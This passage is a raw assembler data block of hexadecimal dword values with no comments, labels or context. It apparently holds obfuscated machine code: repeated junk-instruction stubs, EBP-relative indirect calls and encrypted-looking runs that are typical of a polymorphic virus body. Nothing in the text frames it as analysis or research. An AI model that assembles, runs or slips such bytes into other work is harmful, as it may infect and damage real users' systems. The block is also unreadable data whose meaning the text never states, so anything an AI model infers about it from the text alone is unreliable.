		dd 2559BD8Bh, 9D8B062Ah, 62A16C1h, 0B9BEB5FFh, 6A062Dh
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 140424h, 51410000h
		dd 0E960CCC3h, 5, 18468BA9h, 63BF6623h,	95FF614Dh, 62A1A39h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0EFC35040h
		dd 0BD89DF8Bh, 62A22E5h, 0B9B2B58Bh, 6A062Dh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 43DA4FC3h
		dd 0FBB595A2h, 0BD8B3B3Eh, 62A2641h, 12E9858Bh,	6A062Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h, 52420000h
		dd 3BACBC3h, 884A9A65h,	6E9F5h,	0EED80000h, 0EAE3A87Eh
		dd 0C48689h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 190424h, 56460000h, 0F06C85C3h, 0E866FBBDh, 0Fh, 3FC86E58h
		dd 24F852h, 0BA3BF746h,	0E9B68F13h, 14h, 2E7F4525h, 2C4153ADh
		dd 0CCCF7AC4h, 0E252F918h, 5937CAF5h, 95958B5Bh, 0BB062A33h
		dd 7628512Bh, 4C283FCh,	38A0Fh,	8B660000h, 205089DFh, 0C0D9529h
		dd 858D062Ah, 62DCC2Ch,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 75C35343h, 0F5321690h, 0B3B4FA9Ah, 0FFBF0F03h
		dd 0B88689h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 7FB11BC3h, 0CEDCA7FAh, 0F9B70F0Fh
		dd 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
		dd 53430000h, 0B5FFC2C3h, 62DB9BEh, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 18h, 0C6C35343h,	0EE01EC72h, 68B0Fh
		dd 0B5890000h, 62A2649h, 2E9B67BBh, 5D95FF52h, 66062A13h
		dd 96D6A6BBh, 0F78B6052h, 10E8h, 0EA1FE400h, 7D80185Dh
		dd 0F4976CD2h, 55721971h, 5B61595Dh, 6A9650h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 3A459EC3h
		dd 10E9h, 0BA42C300h, 44A22034h, 0AB789176h, 0E54A2930h
		dd 0BEB5FF6Ch, 0BF062DB9h, 3E41F246h, 260995FFh, 6A062Ah
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h
		dd 251358C3h, 8B195FC1h, 61BD83DFh, 62A1Fh, 37840Fh, 52BB0000h
		dd 96009B48h, 6650FE8Bh, 6A96FE8Bh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 5703C357h
		dd 6890Fh, 0EF810000h, 7D46A108h, 0BEB5FF5Bh, 6A062DB9h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0EA04C353h, 3BF9A3B4h, 8E0F1C14h,	4, 5747BB66h
		dd 1A2995FFh, 6A062Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 9D89DDC3h, 62A07F1h, 0B9BEB5FFh
		dd 0FB8B062Dh, 0EC595FFh, 0BD8B062Ah, 62A060Dh,	1A5BD781h
		dd 0BD837DE4h, 62A1F7Dh, 74840F02h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 16042444h, 40000000h
		dd 127DC350h, 59858BD6h, 6A062A0Fh, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 7E08C356h
		dd 6A0000C6h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 17042444h, 47000000h, 0E89EC357h, 0CFBBFD7Bh, 0F523781h
		dd 684h, 0CDB52900h, 0C7062A32h, 2A093585h, 6, 0CE900h
		dd 9C980000h, 3031826h,	54B0DEFCh, 83E9CDAAh, 6AFFFFF2h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1C042444h
		dd 41000000h, 0DCCBC351h, 441D41B2h, 8B526A9Bh,	2A28FDBDh
		dd 0CDBD8906h, 8B062A1Ah, 0A98529C1h, 81062A34h, 0D039D9C7h
		dd 13E950h, 0ED360000h,	0ED3h, 3 dup(0)
		dd 520E900h, 0E3050000h, 0DA27DF79h, 0C142FA94h, 0A75F17B1h
		dd 857F37D1h, 0AF7955EFh, 19BD92Bh, 20BABC49h, 41DB7F68h
		dd 5DF77989h, 0CC695E77h, 0F3289EB7h, 0CB378E5Eh, 5247F6A5h
		dd 226F7CE3h, 7D033227h, 49B4226Fh, 8BE5DC47h, 9A3D133h
		dd 0D5BFB151h, 1EB857Dh, 2C1658A9h, 0A1776A0Ch,	0BD750F61h
		dd 989D922Ah, 1F226F7Dh, 7D670DF7h, 26C0D1E2h, 0F7E1796Eh
		dd 2610669Fh, 0BF9588A2h, 0FF983228h, 0EF9ED031h, 6F7D3BFAh
		dd 1A117C22h, 768D26DCh, 667712FCh, 7D3DFD7Ch, 6991226Fh
		dd 0E408A76h, 0B482D2E7h, 1E2F2652h, 65h, 0D1CB3756h, 1E5C118Bh
		dd 0B8A2B32Bh, 5ADBD07Fh, 91226FC1h, 96010375h,	0C1013A9Fh
		dd 0A9D1226Fh, 5200CAB6h, 0F4C2D2E7h, 0E07B6511h, 1D8E9h
		dd 56100000h, 0B071B771h, 0F9F07AC9h, 792846BBh, 2F1957ABh
		dd 0EB439D94h, 166E5816h, 7E9E88F0h, 8332E9DCh,	6F92A78Eh
		dd 0B6AD1822h, 4BE58978h, 67016F93h, 0A7CD3795h, 159C65BDh
		dd 373BC8EFh, 0BCA1B24Dh, 8D848B39h, 14C3D4FFh,	3B4CBF2Fh
		dd 39C8ADCBh, 1F797054h, 4C363CC7h, 79630FF4h, 12E8DBF5h
		dd 9B85D5h, 0EEE1EBEFh,	0EE88EC18h, 0BAA4CC36h,	0E7D1A162h
		dd 0C242758Fh, 1C2DC8B2h, 4C2CDA32h, 0B9AC3662h, 0AC9FCFA0h
		dd 0E7441AC0h, 8DD6D2h,	370E0000h, 2AF8A7CDh, 0B7B398D8h
		dd 0F6983443h, 5F98F2E9h, 0C593747Ah, 0B9B062F3h, 0EA887Bh
		dd 311B3FA8h, 604A2CD9h, 92AB9E40h, 91675AFCh, 84520173h
		dd 700BF581h, 4DB76F79h, 21E53D27h, 0E2126D57h,	9A6A38EFh
		dd 0EB17A606h, 0F70848E7h, 277B720Dh, 0D2E72DB3h, 553Dh
		dd 88567500h, 0C301F87Ch, 0D5843341h, 8075FB07h, 226F7DB5h
		dd 4EA89F0Ah, 7F69F1F6h, 0AE98DE27h, 0FAC8B056h, 517D6707h
		dd 0FABBD4C7h, 63A1776Ah, 37A57711h, 3BBAA4CAh,	226F7CFFh
		dd 7B6511F4h, 0AC96C423h, 21B0E28h, 8F4E70Fh, 0D2E70DC2h
		dd 10Eh, 71564600h, 38D869Ah, 0FB3930B4h, 1F59AD08h, 3FB59A35h
		dd 1C64B066h, 0C21A0415h, 0C2463040h, 3005FAA9h, 0DA226FCFh
		dd 6FCF50E5h, 0FAFC6722h, 3426C18Fh, 542A1D3Dh,	7929C3AFh
		dd 372CDB24h, 2445AA13h, 0CDB261CCh, 492626B9h,	0CB251C25h
		dd 47E18F73h, 13FD738Fh, 99C7A794h, 0D6C95928h,	0BF6E0200h
		dd 0A7E652DAh, 675E6749h, 135DA55Dh, 75C0B564h,	4A2899A6h
		dd 3F1E5C0Bh, 112A1C5h,	0AA58B00Ah, 984ED1F2h, 1C2D9C5Ch
		dd 0A79AA432h, 94E422F0h, 0DA180FAAh, 15AE4828h, 6EC47166h
		dd 0D3FB289Ah, 3930412Fh, 11FFE5E5h, 11BEBD9h, 3F230000h
		dd 43F2A1EAh, 0FBE58F75h, 21361A3h, 7CD75E53h, 7DE8226Fh
		dd 59C92186h, 0B762445h, 3739C921h, 51E4D988h, 662899A2h
		dd 42FA04FBh, 3301B0C0h, 51ABA2D0h, 0E6BA4A18h,	3765D9Bh
		dd 63314255h, 9FDDD4A2h, 95230D63h, 40C2988Bh, 2C89630h
		dd 0CED91129h, 4Dh, 9DE63F06h, 83DCF9EEh, 38A35D90h, 50E5DA89h
		dd 67A26F7Ch, 2CAB05FCh, 0A26F7C09h, 0DA91840Eh, 0E3CE8CF5h
		dd 7D74E6ABh, 1EE8EE47h, 0C4D5705Ah, 0BB52015h,	0CF9DDD90h
		dd 0D6483F35h, 7E25D16Bh, 9C000000h, 0DE2315B7h, 2219CDFCh
		dd 0E4EA3FCAh, 77BEB31Dh, 48226F7Dh, 47E2CCDDh,	10928736h
		dd 91244574h, 1EE43C26h, 2DD5A352h, 0C7BE5943h,	73FD05BDh
		dd 8BB60A89h, 28B82899h, 0CDA35F35h, 0E52E8333h, 56E24136h
		dd 9EDD2A6Ah, 0F80E0F8Ah, 3F979B80h, 65BDA7B8h,	7524D39Dh
		dd 74ADB580h, 8E912722h, 40A91D02h, 0FF05D33Eh,	0F9F08B75h
		dd 0E011B9Fh, 0F3A2EB40h, 460E25FEh, 99339E24h,	87156C7h
		dd 95A095F9h, 2A227014h, 4DEADABFh, 0A1F62C23h,	6FB4A958h
		dd 30244069h, 1C3116C5h, 0E7418BEBh, 459DF7EEh,	6119B3BDh
		dd 66E5CFA1h, 30C3594Ch, 663C2FD1h, 85EB179Ch, 0B532009Bh
		dd 0F20BBA5h, 60657B60h, 0C97368D6h, 0C1841C93h, 584F6083h
		dd 0E7B54Eh, 0DED5705Ah, 240E62A0h, 543E3ACCh, 826C08FCh
		dd 0AE98D82Ah, 0E0F9EC8Eh, 22D9CCE6h, 0DAC4B054h, 0F80A483Fh
		dd 1C2D4BBBh, 3838CA82h, 3024Eh, 2E400000h, 0ABB137D6h
		dd 0D79969C1h, 85295EDh, 373FC61Eh, 650FF54Dh, 93E1237Bh
		dd 0C3B551A9h, 0F08281D9h, 1B53AE06h, 54571631h, 4C7815Fh
		dd 83000000h, 3C8704EFh, 0AA685C24h, 89000013h,	37682404h
		dd 89000026h, 56B8243Ch, 0F7298D4Eh, 6FEE0DD0h,	1F053DFCh
		dd 52525A3Eh, 0C1C02BAh, 5AD02900h, 3E05D8F7h, 54587C5Dh
		dd 81243C8Bh, 4C4h, 68AA6800h, 4890000h, 8478F24h, 5F2434FFh
		dd 4C481h, 48B0000h, 0E3895324h, 4C381h, 0C3810000h, 4
		dd 5C241C87h, 0FB3DE1E9h, 5305D9FFh, 0E24DDA79h, 0CEB83B56h
		dd 3062F3Fh, 0D1E0FFC5h, 5F44738Ch, 0A9283D53h,	3859985Fh
		dd 3878C8ACh, 0A14563D9h, 407B1C40h, 515243Ch, 410DEFCh
		dd 0A827E32Ch, 0F9335B6Dh, 422FB4C8h, 4831BBC6h, 0D00B11F7h
		dd 2A4AFAC1h, 0C21CE683h, 0A90597B5h, 65391896h, 18021FF1h
		dd 0F8670550h, 0CA000579h, 0BC7B17EBh, 4C0C53EBh, 2565AFA1h
		dd 2462D8B8h, 8D1388ACh, 2A191185h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 7BD3E0D1h
		dd 406561FEh, 0BF909319h, 6B038478h, 0FB8B6650h, 45958990h
		dd 6A062A22h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 70CA5410h, 89376319h, 2A19D58Dh
		dd 89006A06h, 2A16D18Dh, 0BD858D06h, 6A062F42h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h
		dd 4495C351h, 8BF9DFD3h, 2A12A5BDh, 5C08306h, 5622BF66h
		dd 50D88A90h, 90DF8B66h, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Ah, 70C35040h, 12119291h,	8D898EA2h, 62A1879h
		dd 9E9h, 0B411800h, 588E3749h, 6A4DF2h,	21BD8D89h, 870F062Ah
		dd 6, 27A18D31h, 6A062Ah, 7595FFF5h, 8B062A12h,	2A2D91BDh
		dd 6D8D8906h, 8D062A0Dh, 2DB9668Dh, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 69006D4Ch
		dd 34365992h, 0F1BD8B1Ch, 0FF062A0Dh, 50006AD1h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
		dd 15BD83D5h, 1062A34h,	9B850Fh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0BD09ACC3h
		dd 62A137Dh, 8166026Ah,	9086AAEBh, 0BE9h, 6207D200h, 0B60AB849h
		dd 200ACAB6h, 15840F50h, 60000000h, 0BE8D98Bh, 0C1000000h
		dd 2B390D4Ah, 941C479Dh, 615B02D9h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 5D95FF5Ah
		dd 6A062A13h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 14042444h, 43000000h, 810FC353h, 233C96E7h, 0E61E903h
		dd 0E80000h, 5D000000h,	42C7ED81h, 9D8B062Fh, 62A2CE1h
		dd 0FE9h, 7EAA0700h, 0F20ECF4Ch, 7127BC53h, 72C3EBCAh
		dd 721B589h, 0BD8B062Ah, 62A2BB5h, 96C4858Dh, 860F062Dh
		dd 0Eh,	9E9h, 4F82D900h, 31709236h, 66501675h, 89B9F7BFh
		dd 6A2404h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0E0A6E6C3h, 5277BE5Eh, 64664AE0h,	35FFh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 0BD8B1AC3h, 62A2D99h, 258964h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1C042444h
		dd 42000000h, 2EE9C352h, 23E64277h, 819CAA3Dh, 636169CFh
		dd 0C185FF14h, 6A062A14h, 53006AFFh, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 70449479h
		dd 13E31FB3h, 8E9C906h,	23000000h, 692CD4B8h, 0FF92B706h
		dd 2A2601B5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1604h, 0C3564600h, 3340023Eh, 2A1259BDh, 8D95FF06h
		dd 0E9062A23h, 112h, 0B05FCF80h, 65858900h, 0E6062A08h
		dd 8E0F70h, 0E4000000h,	0F9BD3371h, 3C062A34h, 0EF830F61h
		dd 8B000000h, 2A2BBDBDh, 0C8B60F06h, 8999D33h, 6BA062Ah
		dd 60000000h, 0E9C1BF0Fh, 14h, 2B6BD8A4h, 58B79C17h, 3DCC4215h
		dd 1EEEB8EDh, 690F8385h, 0F58D8961h, 8B062A14h,	0C9B509C1h
		dd 0C1062A1Ah, 9D2304E8h, 62A34DDh, 0BBE2F766h,	774D1494h
		dd 9589C82Bh, 62A1595h,	0F52D18Bh, 0E95BFEBFh, 8Ah, 8BFB8B66h
		dd 5F4C4C85h, 0E7815250h, 28807E94h, 7C0835Bh, 0A319D8Bh
		dd 0C083062Ah, 6870F00h, 29000000h, 2A1F9DB5h, 0FD03B06h
		dd 1183h, 0D9950900h, 0E9062A21h, 4Eh, 4895C381h, 8D8B1178h
		dd 0FFFFFFFFh, 0E8F0Fh,	9E90000h, 60000000h, 0B313FE9Dh
		dd 53FA53B0h, 0F01E183h, 2584h,	599D8B00h, 83062A21h, 0FFFFFFA5h
		dd 9529FEFFh, 62A0ED5h,	4C4C9589h, 6660505Fh, 1F8BEF81h
		dd 0E961h, 0B58D0000h, 62EB669h, 14F59529h, 6A062Ah, 95FFFE8Bh
		dd 62A3439h, 1BCDBD8Bh,	0E8B9062Ah, 6A00000Fh, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 9637C357h, 5C4ABF66h, 19D8B60h, 66062A13h, 0D834DB81h
		dd 0FCE18361h, 33B19D2Bh, 6AFC062Ah, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1C042444h, 40000000h, 42E3C350h
		dd 9AA9619Ah, 0F9AB2206h, 19810Fh, 13E80000h, 0F5000000h
		dd 0F2DC0B2Eh, 0DB8F6EE9h, 292981DFh, 6FA8AA41h, 2B5FCDA1h
		dd 53006AC0h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 86F72B8Bh, 0C8D1DFEBh, 9860FA8h,	0F000000h
		dd 386h, 0DA8B6600h, 6AD22Bh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B589ECC3h, 62A15C9h
		dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0B7C35040h,	0FAC59408h, 0FE926D5h
		dd 2F000000h, 61724DEAh, 0E9E98711h, 96AA6FCBh,	870F5D9Ah
		dd 6, 14AD8589h, 0D98B062Ah, 13E9h, 0DB731300h,	5BD74A33h
		dd 66F1A996h, 0F40401E2h, 6AD8FD4Ch, 880Dh, 41BD2B00h
		dd 8B062A32h, 2A339595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 4F7EFFBEh, 66EB56D2h
		dd 8B3A2ABFh, 2A0BF98Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0C887FA5Fh, 55BD8B0Eh
		dd 8B062A06h, 2A2D1DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 4D3DC350h, 860F7Bh
		dd 52000000h, 2C1D9D8Bh, 835B062Ah, 2A0FA5BDh, 840F0006h
		dd 0E6h, 0E851006Ah, 3,	59C35920h, 4244C89h, 4244481h
		dd 1Bh,	4CC35141h, 74AA05E6h, 31DFBB4Bh, 2A2B7D95h, 29BD2B06h
		dd 0B8062A07h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 19C35747h
		dd 0CB2B9FD4h, 89C78051h, 5E9h,	0E7135200h, 14E800A4h
		dd 49000000h, 7674E763h, 0A8B9F941h, 0AD554254h, 9F9E4A08h
		dd 66E61475h, 8D5FDA8Bh, 2A4E978Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 79D9FD7Fh
		dd 0B3F3730h, 0CE8F93Fh, 9A000000h, 935FFB74h, 204F1C50h
		dd 8B4A9477h, 2A25759Dh, 0E1FF5F06h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 0DEC35343h,	1EE18D89h, 0BD83062Ah
		dd 62A06C5h, 0CC840F00h, 81000003h, 0DB6550E7h,	0C5BD8359h
		dd 1062A06h, 3D4840Fh, 0BF0F0000h, 0C5BD83DEh, 3062A06h
		dd 38E860Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 140424h, 56460000h, 9D0B22C3h, 62A0CC9h, 7DBD0960h
		dd 66062A10h, 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 140424h, 52420000h, 0E18035C3h, 918D0104h, 0F062A2Ah
		dd 488h, 24BF6600h, 0FC90AD2h, 13D84h, 858BFC00h, 62A2939h
		dd 6E49F381h, 14E927FAh, 5000000h, 68672E19h, 0AA4FC60Bh
		dd 0EC51BDF6h, 2BAFAAEEh, 3371D67Bh, 2A05F985h,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0A8A96FE0h, 1083AE4h, 6E9h, 829C9400h, 89B41BB4h, 2A091DBDh
		dd 13E99006h, 0FE000000h, 80D584EEh, 13BD1810h,	6B39CD78h
		dd 767A3BAh, 0E950AB21h, 0Eh, 2265DB6Dh, 7AC843C8h, 0A594280Bh
		dd 0E990FB2Eh, 14h, 0F0A010B8h,	14257CC1h, 1CE6F556h, 0BEB1F805h
		dd 0C7C806E0h, 0DB81006Ah, 7C6388B8h, 0C0D01A68h, 5E8DBh
		dd 0EBCE0000h, 0E9F0F627h, 0Eh,	93850AFh, 318A1C1Dh, 8CAE6F4Fh
		dd 815FE286h, 33E52404h, 6A245Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 0EB0854C3h, 2B8195FFh
		dd 8589062Ah, 62A0355h,	0B9BE8589h, 7E9062Dh, 0FF000000h
		dd 1C3AE0E2h, 0A3E97719h, 6A000001h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0BE71C357h
		dd 0B9959EA0h, 858B719Ch, 62DB9B6h, 61606056h, 0EC98589h
		dd 5B61062Ah, 68F0Fh, 9D8B0000h, 62A2B01h, 1800C7h, 0F510000h
		dd 188h, 15FF500h, 2A05F18Dh, 0BAB58B06h, 0B7062DB9h, 0DD858B65h
		dd 66062A04h, 0E139DF81h, 6A0689h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 6E8D4C3h, 0E000000h
		dd 3E97668Ch, 0F381663Fh, 8B5FAD75h, 2A293985h,	4468906h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 3C35545h
		dd 0AE3ADAB4h, 0FB8B6671h, 89EBB350h, 6A2434h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 1B9590C3h, 0BFB72977h, 0B5FFDEB3h, 62DB9B6h,	0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 8BC35242h, 0B1ED684Eh
		dd 0BF52D74Fh, 75C8F476h, 2404815Bh, 28CF5212h,	6660DF80h
		dd 8DE3BFBBh, 2DB9BE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1A04h, 0C3554500h, 75D8BE59h, 66FEE6E7h
		dd 19AFCB81h, 6860Fh, 0C3810000h, 22CA39F4h, 0C51DBB90h
		dd 60502083h, 90613CB5h, 0E856006Ah, 3,	5EC35E20h, 4247489h
		dd 4244481h, 18h, 2FC35646h, 75BBC9F4h,	14D9BD8Bh, 95FF062Ah
		dd 62A2B81h, 22559589h,	0C761062Ah, 2A06C585h, 306h, 0CBD9BB00h
		dd 0BD836B6Ah, 62DB9BEh, 51840F00h, 0F000000h, 686h, 71852900h
		dd 89062A33h, 2A0FA9B5h, 55E906h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1A0424h, 57470000h, 0B9AF28C3h
		dd 0D4CB8056h, 0D792F781h, 9D335C76h, 62A2B41h,	6800Fh
		dd 9D8B0000h, 62A16C1h,	110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 6AC08B00h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 16042444h, 45000000h, 0E9B2C355h,	8595892Eh
		dd 60062A13h, 162DBD89h, 958B062Ah, 62A0DC1h, 6ABB6661h
		dd 0C5BD83CCh, 3062A06h, 48E850Fh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1D0424h, 50400000h, 52D213C3h
		dd 0FB4ED10Dh, 66BDC699h, 83D20EBBh, 2DB9BEBDh,	840F0006h
		dd 458h, 2B518589h, 0B5FF062Ah,	62DB9BEh, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 15h, 4BC35141h, 10E78176h
		dd 295DB4E3h, 2A2D91BDh, 4D95FF06h, 6A062A16h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1D042444h, 43000000h
		dd 8145C353h, 542B0A57h, 16B5FE67h, 0C359BF66h,	0B9B2B58Bh
		dd 0C780062Dh, 106C725h, 6A000100h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0DE97C351h
		dd 348950F9h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0CE95335h, 6B000000h, 0E8F518D8h
		dd 0CDCB5798h, 0FF905E7Ah, 2DB9BEB5h, 50006A06h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h
		dd 0FE8B899Bh, 1A3995FFh, 0BD8B062Ah, 62A1465h,	505BD33h
		dd 0B58B062Ah, 62DB9B2h, 0EE8h,	4EEA6600h, 5BF6103Eh, 5773CF67h
		dd 66634BBCh, 8B5FD88Bh, 2A12E985h, 800F06h, 31000000h
		dd 2A231995h, 0C4868906h, 29000000h, 2A0C5D95h,	95958B06h
		dd 6A062A33h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 80ADC350h, 0BD8BD0D3h,	62A2935h
		dd 6A04C283h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 18042444h, 41000000h, 68A0C351h, 0FD00CCAh, 0BF66F9B7h
		dd 5089AC3Ah, 0EE920h, 0E86A0000h, 8D5C4687h, 0A4112CDCh
		dd 9CCBC83Ah, 858DDF8Bh, 62DCC2Ch, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 13C35545h, 59725559h, 6E5F6056h
		dd 168DB589h, 8689062Ah, 0B8h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Bh, 9CC35141h, 841D01EDh, 8BC239B2h
		dd 2A25619Dh, 6A006A06h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 0F17EC353h,	0C62AECADh
		dd 0B6A56C88h, 4E99D8Bh, 0B5FF062Ah, 62DB9BEh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 37C35343h, 95FFE2ADh
		dd 62A135Dh, 6810Fh, 0BD8B0000h, 62A2859h, 0E8525096h
		dd 0Fh,	0B10326E9h, 0ABB93A57h,	67D87023h, 660B38E2h, 5B72D8BBh
		dd 6E8310Fh, 89000000h,	0CBC6FF96h, 5BDF8BE2h, 6650585Ah
		dd 8B96F98Bh, 2A2001BDh, 0BEB5FF06h, 6A062DB9h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 16042444h, 41000000h
		dd 4653C351h, 0FAB70F10h
		dd 95FF9DB3h, 62A2609h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0AAC35747h, 995B00EFh, 3A8D9A66h, 835BF950h
		dd 2A1F61BDh, 840F0006h, 31h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 18h, 0D6C35545h,	0C789C4Ah, 0DA8B6696h
		dd 42EBF50h, 31963CA7h,	2A199DB5h, 0BEB5FF06h, 89062DB9h
		dd 2A2AF58Dh, 3DB52906h, 0FF062A13h, 2A1A2995h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 7398C45Ah, 556AD4CEh, 0E2C0EB81h, 9D8B3E25h,	62A1671h
		dd 0B9BEB5FFh, 0BD8B062Dh, 62A28C9h, 0EC595FFh,	8B66062Ah
		dd 7DBD83F8h, 2062A1Fh,	8F840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0B2F11DC3h
		dd 0DC8F1984h, 5651A616h, 34058D89h, 5B5B062Ah,	68F0Fh
		dd 0BD330000h, 62A156Dh, 0F59858Bh, 6A062Ah, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 3AE1CC3h
		dd 0B911DBF9h, 0C6D0h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 15h, 21C35343h, 0F6056A3h,	80h, 61D88A00h
		dd 3585C75Fh, 62A09h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D29C355h, 9531DB96h
		dd 62A0F95h, 0FFF2A6E9h, 17D781FFh, 8B17B01Bh, 51006AC1h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1B04h, 0C3514100h
		dd 0C812C735h, 53E6F253h, 8DDAB70Fh, 2A191185h,	7D958906h
		dd 90062A13h, 505075B3h, 0FFB8B52h, 2880F31h, 8B000000h
		dd 90585AD9h, 1471BD29h, 6A062Ah, 56006AFCh, 8C0F60h, 8B000000h
		dd 2A2C9595h, 665F6106h, 8D19C7BBh, 2F531A85h, 85853106h
		dd 83062A2Ah, 0DF8B05C0h, 0CE850h, 0AC320000h, 0E35760DEh
		dd 0D649584Bh, 895B28A7h, 7E92404h, 0B6000000h,	13CB1D1Eh
		dd 0BD8B34CEh, 62A0395h, 6A006Ah, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0CBC35343h,	41BD8955h, 0F062A25h
		dd 68Dh, 0C1BD8900h, 0FF062A34h, 2A127595h, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1404h, 0C3504000h
		dd 558D31AFh, 8D062A10h, 2DB9668Dh, 50006A06h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1504h,	0C3504000h, 0D1FFD2C3h
